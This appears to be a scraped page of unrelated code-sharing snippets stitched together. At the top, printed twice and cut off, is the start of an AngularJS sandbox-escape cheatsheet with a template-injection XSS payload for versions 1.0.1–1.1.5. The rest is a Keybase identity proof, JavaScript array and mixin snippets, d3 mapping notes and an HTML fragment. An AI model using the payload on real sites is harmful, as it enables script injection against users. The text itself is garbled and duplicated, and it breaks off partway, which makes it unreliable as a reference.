#Angular Sandbox Escapes Cheatsheet
Source: XSS without HTML: Client-Side Template Injection with AngularJS
1.0.1 - 1.1.5 Mario Heiderich (Cure53)
{{constructor.constructor('alert(1)')()}}
1.2.0 - 1.2.1
#Angular Sandbox Escapes Cheatsheet
Source: XSS without HTML: Client-Side Template Injection with AngularJS
1.0.1 - 1.1.5 Mario Heiderich (Cure53)
{{constructor.constructor('alert(1)')()}}
1.2.0 - 1.2.1
| ### Keybase proof | |
| I hereby claim: | |
| * I am jeremybuis on github. | |
| * I am jeremybuis (https://keybase.io/jeremybuis) on keybase. | |
| * I have a public key whose fingerprint is 21C8 761C 3FCE 1C4F CBC9 70A9 D15D B207 8DFE 16B1 | |
| To claim this, I am signing this object: |
| // http://stackoverflow.com/questions/1295584/most-efficient-way-to-create-a-zero-filled-javascript-array?lq=1 | |
| Array.apply(null, new Array(5)).map(Number.prototype.valueOf, 0); |
| // Taken from | |
| // http://raganwald.com/2014/04/10/mixins-forwarding-delegation.html | |
| (function(window) { | |
| var __slice = [].slice; | |
| function extend () { | |
| var consumer = arguments[0], | |
| providers = __slice.call(arguments, 1), | |
| key, |
Using d3.geo.tile to display raster image tiles underneath some TopoJSON vectors, and d3.behavior.zoom for pan & zoom. This version reprojects the geometry on interaction; compare to updating the transform.
This done with svg http://bl.ocks.org/mbostock/6242308 using this technique http://bl.ocks.org/mbostock/2374239
The series hover interactivity uses the technique from lgrammel seen here: http://bl.ocks.org/1963983
It isn't necessarily a tooltip, but data is displayed by inverting the x-axis value into a date, and mapping the date to the corresponding data value for the series.
Building on this - experimenting with fake 3d svg arcs using two nested orthographic projections and cardinal line interpolation.
| <!doctype html> | |
| <head> | |
| <style> | |
| body { | |
| font: 10px sans-serif; | |
| } | |
| #main { | |
| left: 25%; | |
| position: absolute; | |
| } |